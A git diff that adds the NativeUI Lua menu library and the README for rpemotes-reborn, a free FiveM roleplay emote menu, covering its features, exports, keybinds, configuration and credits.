self.Settings.Audio.Error, self.Settings.Audio.Library, true) + end + Wait(175) + while IsDisabledControlPressed(0, 24) and IsMouseInBounds(_X, _Y, _Width, _Height) do + if Item:Selected() and Item:Enabled() then + if SubType == "UIMenuListItem" then + if IsMouseInBounds(Item.LeftArrow.X + SafeZone.X, Item.LeftArrow.Y + SafeZone.Y, Item.LeftArrow.Width, Item.LeftArrow.Height) then + self:GoLeft() + end + if IsMouseInBounds(Item.RightArrow.X + SafeZone.X, Item.RightArrow.Y + SafeZone.Y, Item.RightArrow.Width, Item.RightArrow.Height) then + self:GoRight() + end + elseif SubType == "UIMenuSliderItem" then + if IsMouseInBounds(Item.LeftArrow.X + SafeZone.X, Item.LeftArrow.Y + SafeZone.Y, Item.LeftArrow.Width, Item.LeftArrow.Height) then + self:GoLeft() + end + if IsMouseInBounds(Item.RightArrow.X + SafeZone.X, Item.RightArrow.Y + SafeZone.Y, Item.RightArrow.Width, Item.RightArrow.Height) then + self:GoRight() + end + elseif SubType == "UIMenuProgressItem" then + if IsMouseInBounds(Item.Bar.X + SafeZone.X, Item.Bar.Y + SafeZone.Y - 12, Item.Data.Max, Item.Bar.Height + 24) then + Item:CalculateProgress(math.round(GetControlNormal(0, 239) * 1920) - SafeZone.X) + self.OnProgressChange(self, Item, Item.Data.Index) + Item.OnProgressChanged(self, Item, Item.Data.Index) + else + self:SelectItem() + end + end + elseif not Item:Selected() then + self:CurrentSelection(i - 1) + PlaySoundFrontend(-1, self.Settings.Audio.Error, self.Settings.Audio.Library, true) + self.OnIndexChange(self, self:CurrentSelection()) + self.ReDraw = true + self:UpdateScaleform() + elseif not Item:Enabled() and Item:Selected() then + PlaySoundFrontend(-1, self.Settings.Audio.Error, self.Settings.Audio.Library, true) + end + Wait(125) + end + self.Controls.MousePressed = false + end) + end + end + else + Item:Hovered(false) + end + ItemOffset = ItemOffset + self:CalculateItemHeightOffset(Item) + end + + local ExtraX, ExtraY = self.Position.X + SafeZone.X, 144 + self:CalculateItemHeight() + self.Position.Y + SafeZone.Y + WindowHeight + + if #self.Items <= self.Pagination.Total + 1 then return end + + if IsMouseInBounds(ExtraX, ExtraY, 431 + self.WidthOffset, 18) then + self.Extra.Up:Colour(30, 30, 30, 255) + if not self.Controls.MousePressed then + if IsDisabledControlJustPressed(0, 24) then + CreateThread(function() + local _ExtraX, _ExtraY = ExtraX, ExtraY + self.Controls.MousePressed = true + if #self.Items > self.Pagination.Total + 1 then + self:GoUpOverflow() + else + self:GoUp() + end + Wait(175) + while IsDisabledControlPressed(0, 24) and IsMouseInBounds(_ExtraX, _ExtraY, 431 + self.WidthOffset, 18) do + if #self.Items > self.Pagination.Total + 1 then + self:GoUpOverflow() + else + self:GoUp() + end + Wait(125) + end + self.Controls.MousePressed = false + end) + end + end + else + self.Extra.Up:Colour(0, 0, 0, 200) + end + + if IsMouseInBounds(ExtraX, ExtraY + 18, 431 + self.WidthOffset, 18) then + self.Extra.Down:Colour(30, 30, 30, 255) + if not self.Controls.MousePressed then + if IsDisabledControlJustPressed(0, 24) then + CreateThread(function() + local _ExtraX, _ExtraY = ExtraX, ExtraY + self.Controls.MousePressed = true + if #self.Items > self.Pagination.Total + 1 then + self:GoDownOverflow() + else + self:GoDown() + end + Wait(175) + while IsDisabledControlPressed(0, 24) and IsMouseInBounds(_ExtraX, _ExtraY + 18, 431 + self.WidthOffset, 18) do + if #self.Items > self.Pagination.Total + 1 then + self:GoDownOverflow() + else + self:GoDown() + end + Wait(125) + end + self.Controls.MousePressed = false + end) + end + end + else + self.Extra.Down:Colour(0, 0, 0, 200) + end +end + +function UIMenu:AddInstructionButton(button) + if type(button) == "table" and #button == 2 then + table.insert(self.InstructionalButtons, button) + end +end + +function UIMenu:RemoveInstructionButton(button) + if type(button) == "table" then + for i = 1, #self.InstructionalButtons do + if button == self.InstructionalButtons[i] then + table.remove(self.InstructionalButtons, i) + break + end + end + else + if tonumber(button) then + if self.InstructionalButtons[tonumber(button)] then + table.remove(self.InstructionalButtons, tonumber(button)) + end + end + end +end + +function UIMenu:AddEnabledControl(Inputgroup, Control, Controller) + if tonumber(Inputgroup) and tonumber(Control) then + table.insert(self.Settings.EnabledControls[(Controller and "Controller" or "Keyboard")], { Inputgroup, Control }) + end +end + +function UIMenu:RemoveEnabledControl(Inputgroup, Control, Controller) + local Type = (Controller and "Controller" or "Keyboard") + for Index = 1, #self.Settings.EnabledControls[Type] do + if Inputgroup == self.Settings.EnabledControls[Type][Index][1] and Control == self.Settings.EnabledControls[Type][Index][2] then + table.remove(self.Settings.EnabledControls[Type], Index) + break + end + end +end + +function UIMenu:UpdateScaleform() + if not self._Visible or not self.Settings.InstructionalButtons then + return + end + + PushScaleformMovieFunction(self.InstructionalScaleform, "CLEAR_ALL") + PopScaleformMovieFunction() + + PushScaleformMovieFunction(self.InstructionalScaleform, "TOGGLE_MOUSE_BUTTONS") + PushScaleformMovieFunctionParameterInt(0) + PopScaleformMovieFunction() + + PushScaleformMovieFunction(self.InstructionalScaleform, "CREATE_CONTAINER") + PopScaleformMovieFunction() + + PushScaleformMovieFunction(self.InstructionalScaleform, "SET_DATA_SLOT") + PushScaleformMovieFunctionParameterInt(0) + PushScaleformMovieFunctionParameterString(GetControlInstructionalButton(2, 176, 0)) + PushScaleformMovieFunctionParameterString(Translate('btn_select')) + PopScaleformMovieFunction() + + if self.Controls.Back.Enabled then + PushScaleformMovieFunction(self.InstructionalScaleform, "SET_DATA_SLOT") + PushScaleformMovieFunctionParameterInt(1) + PushScaleformMovieFunctionParameterString(GetControlInstructionalButton(2, 177, 0)) + PushScaleformMovieFunctionParameterString(Translate('btn_back')) + PopScaleformMovieFunction() + end + + -- If using keyboard, show alt increment button + if self.Controls.Increment.Enabled and not tobool(Controller()) then + PushScaleformMovieFunction(self.InstructionalScaleform, "SET_DATA_SLOT") + PushScaleformMovieFunctionParameterInt(3) + PushScaleformMovieFunctionParameterString(GetControlInstructionalButton(2, 19, 0)) + PushScaleformMovieFunctionParameterString(Translate('btn_increment')..(paginationValue and ': '..paginationValue or ": "..paginationValue)) + PopScaleformMovieFunction() + end + + -- If using controller, show 199 increment button + if self.Controls.Increment.Enabled and tobool(Controller()) then + PushScaleformMovieFunction(self.InstructionalScaleform, "SET_DATA_SLOT") + PushScaleformMovieFunctionParameterInt(3) + PushScaleformMovieFunctionParameterString(GetControlInstructionalButton(2, 199, 0)) + PushScaleformMovieFunctionParameterString(Translate('btn_increment')..(paginationValue and ': '..paginationValue or ": "..paginationValue)) + PopScaleformMovieFunction() + end + + local count = 3 + + for i = 1, #self.InstructionalButtons do + if self.InstructionalButtons[i] then + if #self.InstructionalButtons[i] == 3 then + PushScaleformMovieFunction(self.InstructionalScaleform, "SET_DATA_SLOT") + PushScaleformMovieFunctionParameterInt(count) + PushScaleformMovieFunctionParameterString(self.InstructionalButtons[i][1]) + PushScaleformMovieFunctionParameterString(self.InstructionalButtons[i][2]) + PushScaleformMovieFunctionParameterString(self.InstructionalButtons[i][3]) + PopScaleformMovieFunction() + count = count + 1 + end + end + end + + PushScaleformMovieFunction(self.InstructionalScaleform, "DRAW_INSTRUCTIONAL_BUTTONS") + PushScaleformMovieFunctionParameterInt(-1) + PopScaleformMovieFunction() +end + +--[[ + MenuPool.lua + Menus +--]] + +function MenuPool.New() + local _MenuPool = { + Menus = {} + } + return setmetatable(_MenuPool, MenuPool) +end + +function MenuPool:AddSubMenu(Menu, Text, Description, KeepPosition, KeepBanner) + if Menu() == "UIMenu" then + local Item = UIMenuItem.New(tostring(Text), Description or "") + Menu:AddItem(Item) + local SubMenu + if KeepPosition then + SubMenu = UIMenu.New(Menu.Title:Text(), Text, Menu.Position.X, Menu.Position.Y) + else + SubMenu = UIMenu.New(Menu.Title:Text(), Text) + end + if KeepBanner then + if Menu.Logo ~= nil then + SubMenu.Logo = Menu.Logo + else + SubMenu.Logo = nil + SubMenu.Banner = Menu.Banner + end + end + self:Add(SubMenu) + Menu:BindMenuToItem(SubMenu, Item) + return SubMenu + end +end + +function MenuPool:Add(Menu) + if Menu() == "UIMenu" then + table.insert(self.Menus, Menu) + end +end + +function MenuPool:Clear() + self = { + Menus = {} + } +end + +function MenuPool:Remove() + self = nil +end + +function MenuPool:MouseEdgeEnabled(bool) + if bool ~= nil then + for _, Menu in pairs(self.Menus) do + Menu.Settings.MouseEdgeEnabled = tobool(bool) + end + end +end + +function MenuPool:ControlDisablingEnabled(bool) + if bool ~= nil then + for _, Menu in pairs(self.Menus) do + Menu.Settings.ControlDisablingEnabled = tobool(bool) + end + end +end + +function MenuPool:ResetCursorOnOpen(bool) + if bool ~= nil then + for _, Menu in pairs(self.Menus) do + Menu.Settings.ResetCursorOnOpen = tobool(bool) + end + end +end + +function MenuPool:MultilineFormats(bool) + if bool ~= nil then + for _, Menu in pairs(self.Menus) do + Menu.Settings.MultilineFormats = tobool(bool) + end + end +end + +function MenuPool:Audio(Attribute, Setting) + if Attribute ~= nil and Setting ~= nil then + for _, Menu in pairs(self.Menus) do + if Menu.Settings.Audio[Attribute] then + Menu.Settings.Audio[Attribute] = Setting + end + end + end +end + +function MenuPool:WidthOffset(offset) + if tonumber(offset) then + for _, Menu in pairs(self.Menus) do + Menu:SetMenuWidthOffset(tonumber(offset)) + end + end +end + +function MenuPool:CounterPreText(str) + if str ~= nil then + for _, Menu in pairs(self.Menus) do + Menu.PageCounter.PreText = tostring(str) + end + end +end + +function MenuPool:DisableInstructionalButtons(bool) + if bool ~= nil then + for _, Menu in pairs(self.Menus) do + Menu.Settings.InstructionalButtons = tobool(bool) + end + end +end + +function MenuPool:MouseControlsEnabled(bool) + if bool ~= nil then + for _, Menu in pairs(self.Menus) do + Menu.Settings.MouseControlsEnabled = tobool(bool) + end + end +end + +function MenuPool:RefreshIndex() + for _, Menu in pairs(self.Menus) do + Menu:RefreshIndex() + end +end + +function MenuPool:ProcessMenus() + self:ProcessControl() + self:ProcessMouse() + self:Draw() +end + +function MenuPool:ProcessControl() + for _, Menu in pairs(self.Menus) do + if Menu:Visible() then + Menu:ProcessControl() + end + end +end + +function MenuPool:ProcessMouse() + for _, Menu in pairs(self.Menus) do + if Menu:Visible() then + Menu:ProcessMouse() + end + end +end + +function MenuPool:Draw() + for _, Menu in pairs(self.Menus) do + if Menu:Visible() then + Menu:Draw() + end + end +end + +function MenuPool:IsAnyMenuOpen() + local open = false + for _, Menu in pairs(self.Menus) do + if Menu:Visible() then + open = true + break + end + end + return open +end + +function MenuPool:CloseAllMenus() + for _, Menu in pairs(self.Menus) do + if Menu:Visible() then + Menu:Visible(false) + Menu.OnMenuClosed(Menu) + end + end +end + +function MenuPool:SetBannerSprite(Sprite) + if Sprite() == "Sprite" then + for _, Menu in pairs(self.Menus) do + Menu:SetBannerSprite(Sprite) + end + end +end + +function MenuPool:SetBannerRectangle(Rectangle) + if Rectangle() == "Rectangle" then + for _, Menu in pairs(self.Menus) do + Menu:SetBannerRectangle(Rectangle) + end + end +end + +function MenuPool:TotalItemsPerPage(Value) + if tonumber(Value) then + for _, Menu in pairs(self.Menus) do + Menu.Pagination.Total = Value - 1 + end + end +end + +--[[ + Wrappers +--]] + +function NativeUI.CreatePool() + return MenuPool.New() +end + +function NativeUI.CreateMenu(Title, Subtitle, X, Y, TxtDictionary, TxtName) + return UIMenu.New(Title, Subtitle, X, Y, TxtDictionary, TxtName) +end + +function NativeUI.CreateItem(Text, Description) + return UIMenuItem.New(Text, Description) +end + +function NativeUI.CreateColouredItem(Text, Description, MainColour, HighlightColour) + return UIMenuColouredItem.New(Text, Description, MainColour, HighlightColour) +end + +function NativeUI.CreateCheckboxItem(Text, Check, Description) + return UIMenuCheckboxItem.New(Text, Check, Description) +end + +function NativeUI.CreateListItem(Text, Items, Index, Description) + return UIMenuListItem.New(Text, Items, Index, Description) +end + +function NativeUI.CreateSliderItem(Text, Items, Index, Description, Divider) + return UIMenuSliderItem.New(Text, Items, Index, Description, Divider) +end + +function NativeUI.CreateProgressItem(Text, Items, Index, Description, Counter) + return UIMenuProgressItem.New(Text, Items, Index, Description, Counter) +end + +function NativeUI.CreateHeritageWindow(Mum, Dad) + return UIMenuHeritageWindow.New(Mum, Dad) +end + +function NativeUI.CreateGridPanel(TopText, LeftText, RightText, BottomText) + return UIMenuGridPanel.New(TopText, LeftText, RightText, BottomText) +end + +function NativeUI.CreateColourPanel(Title, Colours) + return UIMenuColourPanel.New(Title, Colours) +end + +function NativeUI.CreatePercentagePanel(MinText, MaxText) + return UIMenuPercentagePanel.New(MinText, MaxText) +end + +function NativeUI.CreateSprite(TxtDictionary, TxtName, X, Y, Width, Height, Heading, R, G, B, A) + return Sprite.New(TxtDictionary, TxtName, X, Y, Width, Height, Heading, R, G, B, A) +end + +function NativeUI.CreateRectangle(X, Y, Width, Height, R, G, B, A) + return UIResRectangle.New(X, Y, Width, Height, R, G, B, A) +end + +function NativeUI.CreateText(Text, X, Y, Scale, R, G, B, A, Font, Alignment, DropShadow, Outline, WordWrap) + return UIResText.New(Text, X, Y, Scale, R, G, B, A, Font, Alignment, DropShadow, Outline, WordWrap) +end diff --git a/resources/rpemotesreborn1.6.0/README.md b/resources/rpemotesreborn1.6.0/README.md new file mode 100644 index 000000000..fc361d0cc --- /dev/null +++ b/resources/rpemotesreborn1.6.0/README.md @@ -0,0 +1,505 @@ +![image](https://github.com/alberttheprince/rpemotes-reborn/assets/85725579/25b38001-1b50-42ff-b9c9-07046d8be0a1) + +rpemotes-reborn is a community-driven FiveM emote menu allowing players to express themselves in roleplay with custom animations, countless facial expressions, walk styles, and props inspired by [DullPear](https://github.com/andristum/dpemotes), maintained by Popcorn RP after TayMcKenzieNZ began selling an open-source community project against the spirit of the project. + +A partial archive of the original RP Emotes docs can be found [here](https://web.archive.org/web/20231218223552/https://docs.rpemotes.com/) + +Rpemotes-reborn is free, **and will always be free**: accept no substitutes or reproductions from scummy people reselling other's hard work against agreements made with creators. We're committed to the open-source community and the dozens of contributors who put hard work into rpemotes to provide the community with free emotes and props. + +Want to help support them? Check out our credits section at the bottom of the Readme and support those creators! + +# Features 🛠️ + +- Emote Preview - View emotes before you use them + +- Changeable Banner Font + +- Changeable Banner Colour + +- Multiple Translations 🌏 + +- Search Function 🔎 + +- Custom Animations with **permission from the community** 🏃 + +- Persistent Facial Expressions via client KVP 🤪 + +- Animal Emotes 🐩 + +- Shared Dances 🕺💃 + +- Persistent Walkstyles via client KVP 🚶‍♂️ - Standalone, QB-Core and ESX support! + +- Persistent Disabling Of Idle Camera via KVP 🎥 + +- Crouching 🐞 + +- Crawling 🐛 + +- Finger Pointing 👆 + +- Ragdoll 😵 + +- Hands up 🙌 + +- Shared Particle Effects 💨 + +- QB-Core Framework & SQL Keybinding Support ⚙️ + +- Further support for shared and couple poses/animations 👫 + +- Easily convert Menyoo to RPEmotes 🔄 + +- Hide Adult Emotes 🔞 + +- Hide Animal Emotes ⛔ + +- Easy To Understand Configuration File ⚙️ + +- Exit Emotes 😎 + +- Working Binoculars 👀 + +- News Camera 🎤📹 + +- Props Extractor for anti-cheat scripts 💾 + +**Available in the following languages:** + +Albanian, Brazilian Portuguese, Chinese (Simplified), Chinese (Traditional), Czech, Danish, Dutch, English, Finnish, French, German, Greek, Hungarian, Indonesian, Italian, Lithuanian, Norwegian, Persian, Polish, Romanian, Russian, Serbian, Sinhala, Slovenian, Spanish, Swedish, Turkish, Vietnamese + +Languages can be selected and/or added in the config.lua. + +All languages were translated or contributed by the FiveM community, with the odd exception of using Google Translate. + +If you find any incorrect translations or would like to add more languages, please make a pull request with the corrections. + +# Header + +To edit the header, find the image in the main directory of rpemotes-reborn and edit the image in your program of choice. The image dimensions are 512 x 128. + +Do not change the name of the image file. + +Example Banner: +![image](https://github.com/user-attachments/assets/dac5b7e5-4b63-4d10-8d59-3e8502d9913c) + +**Note for users of older versions of rpemotes:** Previously, the banner was hosted through a web link on an image hosting website. Due to various image hosting sites dealing with large amounts of traffic from FiveM, they cut off access to FiveM. + +# Exports and More + +When using our emote menu with other scripts, using the `TriggerEvent('animations:client:EmoteCommandStart` won't do anything because the events do not exist. These have simply been replaced with the following exports: + +```lua +exports["rpemotes"]:EmoteCommandStart(emoteName, textureVariation) +exports["rpemotes"]:EmoteCancel(forceCancel) – forceCancel is optional +exports["rpemotes"]:CanCancelEmote(state) +exports["rpemotes"]:IsPlayerCrouched() +exports["rpemotes"]:IsPlayerProne() +exports["rpemotes"]:IsPlayerCrawling() +exports["rpemotes"]:IsPlayerPointing() +exports["rpemotes"]:IsPlayerInAnim() -- returns current animation name or nil +exports["rpemotes"]:IsPlayerInHandsUp() +exports["rpemotes"]:toggleWalkstyle(bool, message) -- bool to allow the user to change their walkstyle in the menu or not / message to show the user (optional, default is :"You are unable to change your walking style right now.")" +exports["rpemotes"]:toggleBinoculars() +exports["rpemotes"]:toggleNewscam() +``` + +Having issues with players using emotes when/where they're not supposed to? Use the following where you need. This would be somewhere like if you want to disable emotes in jail or when someone is handcuffed/escorted: + +```lua +LocalPlayer.state:set('canEmote', false, true) -- stops emoting +LocalPlayer.state:set('canEmote', true, true) -- allows emoting +``` + +# Menu Keybind 🎛️ + +The keybind uses RegisterKeyMapping. By default the configured keybind in the _initial_ config.lua will be the default key, however once the keybind is set for a user it'll remain and can be changed in the users settings under `Esc > settings > keybinds > fivem`. + +**Menu key:** + +| COMMAND: | ACTION: | +| -------- | -------------------------- | +| F4 | Open / Close RPEmotes menu | + +Server owners can change this in the `config.lua`. + +Alternatively, the player base can set their menu keybind to open rpemotes-reborn + +`Esc > settings > keybinds > fivem` + +- More keybinds are now using key mappings which means that they are now available in your FiveM settings to change (`FavKeybind` and `RagdollKeybind`) + +# Keybinds and SQL 🎛️ + +To use the SQL features, install the latest version of the [oxmysql](https://github.com/overextended/oxmysql) resource and enable the setting in `config.lua` + +```lua +SqlKeybinding = false, +``` + +If you do not want to use the SQL features keep the `oxmysql` region in fxmanifest.lua commented out. + +Alternatively, you can use the keybind command that comes with FiveM without having to use SQL, by entering the following into F8: + +`bind keyboard "Yourbutton" "e youremote"`. To remove the keybind, type `"unbind keyboard "Yourbutton"`. + +# Menu Customization + +In the`config.lua` file, server owners can set the MenuTitle or simply leave it blank. Ideally, this should be 11 characters or less without any spaces. +You can also set the font and decide whether or not you want an outline and MenuPosition. The available fonts are as follows: + +```lua + -- 0 : Chalet London + -- 1 : House Script + -- 2 : Monospace + -- 4 : Chalet Comprime Cologne + -- 7 : Pricedown +``` + +Additional customizations can be found in the config. Please note due to limitations by Imgur and Discord; images can not be directly linked from either platform. You may link directly to an image from the forums, or just leave it blank. + +# Increments + +Pressing 'LEFT ALT' on the keyboard allows players to scroll through the menu one by one, or by 10. + +Alternatively, players can use the `SHARE` button on an Xbox controller or `OPTIONS` button on a Playstation controller. + +# Ragdoll 🥴 + +- To enable ragdoll, change `RagdollEnabled = false,` to true in config.lua. + +- Much like the menu key, `RagdollKeybind` is also using RegisterKeyMapping. It is currently set to `U` by default _(server side)_ however can be set to the player's preferred keybind in the FiveM keybinds setting found in the settings menu within the Esc Menu. + +- New setting: `RagdollAsToggle`, this will make either the ragdoll be a toggle or a hold key + +# Finger Pointing & Hands Up 👆 + +Once enabled, players can press `B` on the keyboard to enable standalone finger pointing, and `Y` to put their hands up, without the need for unnecessary frameworks or "small resources". + +Much like everything else in the menu, server owners can change these keybinds to their own preferences. + +| COMMAND: | ACTION: | +| --------- | ---------------------- | +| B | Toggle Finger Pointing | +| Y | Toggle Hands Up | +| /pointing | Toggle Finger Pointing | +| /handsup | Toggle Hands Up | + +# Crouching & Crawling + +**Crouching:** + +RIGHT CONTROL. Players can move forward, back, left, and right as well as turn around. Press SPACEBAR to switch from stomach to back. Pressing the RIGHT CONTROL key while running will have the player "dive into" a crouching animation. + +**Crawling:** + +Server owners can opt in to either overriding the stealth/action animation when pressing the LEFT CONTROL keybind or have players tap LEFT CONTROL twice to switch from stealth to crouch (when enabled in the config.lua file) + +# Chat Commands + +| COMMAND: | ACTION: | +| ------------- | ------------------------- | +| LEFT CONTROL | Toggle Crouching On / Off | +| RIGHT CONTROL | Toggle Crawling On / Off | +| /crouch | Toggle Crouching On / Off | +| /crawl | Toggle Crawling On / Off | + +--- + +# Moods & Walkstyles 😜🚶‍♂️ + +Moods and walk styles can be set from the menu. These will save to your character and reapply when exiting a vehicle, or loading back into the server as they are saved via client-side KVP. + +| COMMAND: | ACTION: | +| ----------- | ------------------------------------- | +| F4 | Opens RPEmotes menu | +| /walks | See A List Of Walkstyles In Chat | +| /moods | See A List Of Walkstyles In Chat | +| /reset mood | Remove preferred mood and set default | +| /reset walk | Remove last walkstyle and set default | + +# No Idle Cam 📷 + +No Idle Cam allows players to disable the idle camera animation on foot and in vehicle, making RP scenarios, streaming on Twitch, or just general gameplay just a little more enjoyable. + +| COMMAND: | ACTION: | +| ----------- | ---------------------- | +| /Idlecamon | deactivates the native | +| /idlecamoff | enables the native | + +# Binoculars 👀 + +| COMMAND: | ACTION: | +| ----------- | --------------------------------------------- | +| /binoculars | starts the binoculars | +| L ALT | Toggle between night, heat and normal visions | +| G | Show or hide the instructions | +| BACKSPACE | Exit the binoculars | + + + +# News Camera + +| COMMAND: | ACTION: | +| --------- | ----------------------------- | +| /newscam | starts the News Camera | +| H | Edit Text | +| L ALT | Toggle between vision modes | +| G | Show or hide the instructions | +| BACKSPACE | Exit News Camera | + + + +# Favorite Emote + +Players can search for an emote (so long as search is enabled) and press LEFT SHIFT and CAPLOCKS on their keyboard to add it to their 'Favorites'. Pressing CAPLOCKS will toggle the emote. + +Alternatively, you can use the 🌟 Favorite menu to find an emote and press enter. + +# Exit Emotes + +Exit Emotes are used to make cancelling an animation more smoother and dynamic, such as getting up off a chair or throwing a cigarette out instead of dropping it. + +You can add your own Exit Emotes under `AnimationListCustom.lua`'s new `CustomDP.Exits = {}` array. + +Below is an example of how this would look: + +```lua + }, + ["sit"] = { + "anim@amb@business@bgen@bgen_no_work@", + "sit_phone_phoneputdown_idle_nowork", + "Sit", + AnimationOptions = { + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, +``` + +The ExitEmote calls for the 'getup' emote, which is noted as the following: + +```lua +["getup"] = { + "get_up@sat_on_floor@to_stand", + "getup_0", + "Get Up", + AnimationOptions = { + EmoteDuration = 2000 + } + } +} +``` + +# Adult Emotes 🔞 + +Adult Emotes can be hidden from the menu by setting `AdultEmotesDisabled` to `true` in the config.lua file. + +This will completely conceal the emotes from the lists _(Emotes, Shared Emotes, etc)_ at startup making them unusable. + +The emotes that are concealed, are the ones flagged in the animation list with `AdultAnimation`. You can see how it is done with `fspose`. + +Alternatively, you can also hide animal emotes. + +# QB-Core ⚙️ + +**QBCore integration to match their fork of dpemotes** + +- Config option that supports the QB Framework in their fork of the original dpemotes. + +If you’re using qb-core, you can now set + +```lua +Framework = "qb-core", +``` + +in the config file, otherwise, leave it as + +```lua +Framework = false, +``` + +_You may need to alter some code within qb-core to work with RPEmotes._ + +# Prop Extractor ↔️ + +Many people have expressed concerns over anticheat scripts kicking or banning their community members due to the fact RPEmotes uses props and anticheats detecting said props being spawned. + +To make server owners' jobs a little easier, we have added a prop extractor command that you can enter into the server console which will automate a file inside the RPEmotes resource folder appropriately named, `prop_list.lua`. + +### Command: + +`emoteextract` + +```lua + +Available output formats: +1 - 'prop_name', +2 - "prop_name", +3 - prop_name + +Command usage example: emoteextract 1 +``` + + + +# Installation Instructions ⚙️: + +- Add `ensure rpemotes` to your `server.cfg` + +- Download the latest recommended artifacts [for Windows](https://runtime.fivem.net/artifacts/fivem/build_server_windows/master/) or [for Linux](https://runtime.fivem.net/artifacts/fivem/build_proot_linux/master/) + +- [Enforce gamebuild to latest build](https://forum.cfx.re/t/tutorial-forcing-gamebuild-to-casino-cayo-perico-or-tuners-update/4784977) for all emotes and props to work as intended. + +**Onesync Infinity is required for the particle effects to work as intended** This can be done via txadmin or your localhost .bat file.\*\* + +For localhost servers, comment out onesync from your server.cfg and add the following to your `.bat` file: + +```lua + ++set onesync on +set onesync_enableInfinity 1 +set onesync_enableBeyond 1 +set onesync_population true + +``` + +You can put this before your gamebuild enforcement, aka `+set sv_enforceGameBuild XXXX` + +- Set the desired language and settings in the config.lua under `MenuLanguage = 'en',` + +- Qb-Core server owners, set `Framework = 'qb-core'` in the config file, otherwise leave it as false. + +- To use the SQL features, install the [oxmysql](https://github.com/overextended/oxmysql) resource then open `keybinds.lua` in RPEmotes. If you do not want to use the SQL features, comment out the `oxmysql` region in fxmanifest.lua. + +Alternatively, you can use the keybind command that comes with FiveM without having the SQL, by entering the following into F8: + +`bind keyboard "Yourbutton" "e youremote"`. To remove the keybind, type `"unbind keyboard "Yourbutton"`. + +- Type `/refresh` and `/ensure rpemotes` into your chat resource, or simply restart your server + +# Shared emotes 👩🏻‍❤️‍💋‍👨🏼 + +Emotes will work with either `SyncOffset` or `Attachto`. + +If it is with `SyncOffsetFront` or `SyncOffsetSide`, then the offset used is the one of the emote the player started.
+ +For example, if player one starts the emote `handshake` which has `SyncOffsetFront`, then player one will have the `SyncOffsetFront` but not the other player. + +- If it is with `Attachto`, then it'll either be player one's data used for attaching or player two's data.
+ For example, if player one starts the emote carry, then the other player will be attached but not the player one because Attachto is set in `carry2` and not `carry`.
+- If player one starts the emote `carry2`, then player one will be attached and not the other player. + it's the player who starts the animation who will in most cases be moved + +_Special case, if both emote have the `Attachto` then only the player who started the emote will be attached._ + +You can find a list of ped bones to attach the other player here: [Ped Bones](https://wiki.rage.mp/index.php?title=Bones) or alternatively, if the link is down for some reason, you can check [here](https://wiki.rage.mp/index.php?title=Bones) + +Using the websites provided above, enter the bone ID, ie `1356` and not `111`, which is the Bone Index. + +Understandably, this can be confusing for some people. We suggest using the `Attachto` approach. + +# Particle Effects 💨 + +**REQUIRES ONESYNC INFINITY** + +Particle effects can be found using the [DurtyFree GTA V Dump](https://github.com/DurtyFree/gta-v-data-dumps/blob/master/particleEffectsCompact.json). You will need to add the particle asset, name, and placement. Placement is done via XYZ, Pitch, Roll, Yaw, and scale. + +Onesync is required for them to work across all clients. + +```lua +PtfxPlacement = { + -0.15, -- X + -0.35, -- Y + 0.0, -- Z + 0.0, -- ROTATION X + 90.0, -- ROTATION Y + 180.0, -- ROTATION Z + 1.0 -- SCALE +}, +``` + + + +By default, the main prop will share its coordinates with the particle effect, so just put 0.0 for the particle effects and you will be good to go. + +If no prop is used in the animation or you require the particle effect to be in a different location, use `PtfxNoProp = true`, and 0.0 will 9/10 times be the human peds' stomach; you can then offset your coordinates based on that with the first 3 entries being XYZ, and the last 3 being rotation XYZ. + +Alternatively, you can use the `PtfxBone =` AnimationOption to attach the PTFX to the ped's bone, similarly to how you attach props. + +Using Menyoo, spawn down a tennis ball and attach it to a human, by default menyoo will attach it to the SKEL_ROOT bone (stomach), so from that, what we can do is either offset the coordinates, say, up to the human ped's mouth, or change the bone altogether. Once we've got it correct, we can transfer those coordinates over to RPEmotes, and tah dah, we have our Ptfx Placement. + +# Adding Your Own Animations ⚙️ + +Because the menu gets updated frequently, the files get overwritten. To avoid this, you can add your own / downloaded animation files `(.ycd)` inside of a newly created folder, give it a name, and place it in the `rpemotes\stream\[Custom Emotes]` folder. + +Add your animation code to the `AnimationListCustom.lua` and make a backup of this file and call it `BackUpAnimationListCustom.lua`. + +Whenever an update is released, rename `BackUpAnimationListCustom.lua` to `AnimationListCustom.lua`, click yes to overwrite, and you're good to go. + +Note that `AnimationListCustom.lua` and `BackUpAnimationListCustom.lua` files from versions prior to version 1.5.0 are not compatible with version 1.5.0, and files from version 1.5.0 are not backwards compatible with versions prior to version 1.5.0. To retain any custom animation code from previous versions, copy over any customizations into the `AnimationListCustom.lua` file that is included in the current version. + +It is also a good idea to keep a backup of your config file. +Below is an example: + + + +# Credits 🤝 + +**All** custom animations and props were added with permission from the creators. + +All animation creators have **_specifically_** asked that their content remain free and that the RPEmotes team and community do not try to profit from them, claim them as their own, or reupload them anywhere else. + +**A huge thank you the following people for their amazing contributions to the menu:** + +- the FiveM community for using RP Emotes! +- [enzo2991](https://github.com/enzo2991) for creating the ped preview functionality +- [The Popcorn RP community](https://discord.gg/popcornroleplay) for putting up with all my emote menu testing and troubleshooting issues with me +- [DerDevHD](https://forum.cfx.re/t/fixed-remove-prop-after-scenario-animation/5002332/8) for the insight on deleting scenario props. +- [Kibook](https://github.com/kibook) for the addition of the Animal Emotes sub-menu +- [AvaN0x](https://github.com/AvaN0x) for reformatting and assisting with code, additional features, and figuring out shared particle effects +- [Mads](https://github.com/MadsLeander) for joining the team as Co-Developer +- [Mathu_lmn](https://github.com/Mathu-lmn) for joining the team as Co-Developer +- [Tigerle](https://forum.cfx.re/u/tigerle_studios) for providing the additional code required to make Shared Emotes work to its full extent +- [SMGMissy](https://forum.cfx.re/u/smgmissy/) for assisting with custom pride flags and how to stream them +- [MissSnowie](https://www.gta5-mods.com/users/MissySnowie) for the Explicit Usage Rights Agreement to add free custom animations either publicly available or on their discord and for the motivational and overall moral support +- [GeekGarage](https://github.com/geekgarage) for their knowledge, time, and dedication, helping to bring new and exciting features to the menu +- [Smokey](https://www.gta5-mods.com/users/struggleville) for the Explicit Usage Rights Agreement to add free custom animations either publicly available on their discord +- [BzZzi](https://forum.cfx.re/u/bzzzi/summary) for the Explicit Usage Rights Agreement to add free donuts, croissants and fire torch props +- [Natty3d](https://forum.cfx.re/u/natty3d/summary) for the Explicit Usage Rights Agreement to add free lollipop props +- [northsqrd](https://github.com/0sqrd) for adding the search function, Animal Emotes config, mobile phone prop texture variants, and general contributions +- Crusopaul and Eki for discussing KVP and initializing it to the menu for persistent walk styles +- [Amnilka](https://www.gta5-mods.com/users/frabi) for the Explicit 